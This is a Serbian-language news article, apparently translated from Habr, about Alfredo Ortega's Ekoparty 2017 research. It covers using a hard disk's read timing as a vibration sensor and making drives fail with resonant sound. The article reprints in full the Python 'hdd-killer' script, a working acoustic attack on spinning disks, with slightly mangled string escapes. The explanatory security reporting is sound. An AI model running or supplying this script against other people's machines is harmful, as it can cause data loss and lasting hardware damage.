Зашто не би требало да вичете на свој ХДД

Зашто не би требало да вичете на свој ХДД

На конференцији о рачунарској безбедности Екопарти 2017 у Буенос Ајресу, аргентински хакер Алфредо Ортега показао је веома занимљив развој – систем за тајно прислушкивање просторија без употребе микрофона. Звук снимљен директно на чврсти диск!

ХДД углавном прима нискофреквентне звукове високог интензитета, кораке и друге вибрације. Људски говор се још не може препознати, иако научници спроводе истраживања у овом правцу (препознавање говора по нискофреквентним вибрацијама, које се снимају, на пример, са жироскопа или ХДД-а).

Звук је вибрација ваздуха или другог медија. Особа их перципира кроз бубну опну, која преноси вибрације на унутрашње уво. Микрофон је дизајниран отприлике као уво - и овде се вибрације снимају танком мембраном, која побуђује електрични импулс. Чврсти диск је, наравно, такође подложан микроскопским вибрацијама због флуктуација околног ваздуха. Ово је познато чак и из техничких карактеристика ХДД-а: произвођачи обично указују на максимални дозвољени ниво вибрација, а сам чврсти диск често покушава да га стави у контејнер отпоран на вибрације направљен од гуме или другог изолационог материјала. Из овога је лако закључити да се звукови могу снимити помоћу ХДД-а. Остаје само да се схвати како.

Алфредо Ортега је предложио јединствену верзију бочног напада, односно временски напад. Овај напад се заснива на претпоставци да се различите операције обављају на уређају у различито време, у зависности од датих улазних података. У овом случају, „улазни подаци“ су вибрације главе за читање и ХДД плоче, које су у корелацији са вибрацијама околине, односно са звуком. Дакле, мерењем времена рачунања и извођењем статистичке анализе података, могу се мерити вибрације главе/плоче, а тиме и вибрације медијума. Што је дуже кашњење у читању података, то су јаче вибрације ХДД-а, а самим тим и гласнији звук.

Како измерити вибрације чврстог диска? Веома једноставно: само покрените системски позив read () — и забележите време које је потребно да се заврши. Савремени оперативни системи вам омогућавају да читате време системских позива са тачношћу од наносекунде.

Брзина читања информација из сектора зависи од положаја главе и плоче, што је у корелацији са вибрацијама кућишта ХДД-а. То је све.

Статистичка анализа се врши коришћењем једноставног услужног програма Ксцопе. Како кажу, све генијално је једноставно.

Зашто не би требало да вичете на свој ХДД
Ксцопе услужни програм (стат() системски позив)

Ксцопе је мали услужни програм за визуелизацију ситних разлика у времену извршавања системских позива. Изворпубликовано на ГитХуб.

У посебном спремишту ХДД-време постоји верзија услужног програма конфигурисана за временски напад на чврсти диск, односно конфигурисана да анализира системски позив read ().

Демонстрација снимања звука помоћу ХДД-а, рад услужног програма Ксцопе


Наравно, говор се не може разумети на овај начин, али ХДД је сасвим прикладан као сензор вибрација. На пример, можете да региструјете ако је особа која носи чврсте ципеле или боса ушла у просторију са рачунаром (вероватно, ако нападач носи мекане патике или је на поду дебео тепих, ХДД неће моћи да региструје вибрације - ово вреди проверити). Рачунар је у стању да региструје разбијено стакло или друге инциденте са јаким интензитетом звука. То јест, чврсти диск може послужити као нека врста система за откривање неовлашћеног упада.

ХДД убица

Узгред, слична техника се може користити за онемогућавање чврстих дискова. Само овде не уклањамо осцилације са ХДД-а, већ напротив, генеришемо осцилације које се напајају на ХДД. Ако пуштате звук са звучника на фреквенцији која резонује са фреквенцијом ХДД-а, систем убрзо искључује уређај уз грешку У/И (Линукс језгро потпуно искључује ХДД након 120 секунди). Сам чврсти диск може да претрпи неповратна оштећења.

Зашто не би требало да вичете на свој ХДД
Линук кернел је искључио чврсти диск након 120 секунди испоручивања звука на резонантној фреквенцији кроз звучник Едифиер р19у УСБ звучника. Звучник је укључен на око четвртину снаге (мање од 100 мВ) и налази се на 20 цм од ХДД-а, усмерен ка столу ради побољшања вибрација. Рам из видео уз демонстрацију убице ХДД-а

Занимљиво је да се такви „напади“ на ХДД понекад дешавају потпуно случајно у свакодневном животу. На пример, у септембру 2016, центар података ИНГ банке је био приморан да обустави рад на 10 сати након ватрогасне вежбе. Десетине чврстих дискова су отказале због гласног звука инертног гаса који се испушта из цилиндара под високим притиском. Звук је био веома гласан (више од 130 дБ), али не можете ни да вичете на чврсте дискове - ово повећава кашњење у приступу ХДД-у.

Демонстрација људског вриштања на чврстим дисковима у дата центру. Мерење кашњења


Да би произвео резонантни звук, Алфредо Ортега је написао Питхон скрипт под називом хдд-киллер (видео демонстрација).

ХДД убица скрипта Прилично је мали, тако да га можете у целости објавити овде.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Извор: ввв.хабр.цом

Додај коментар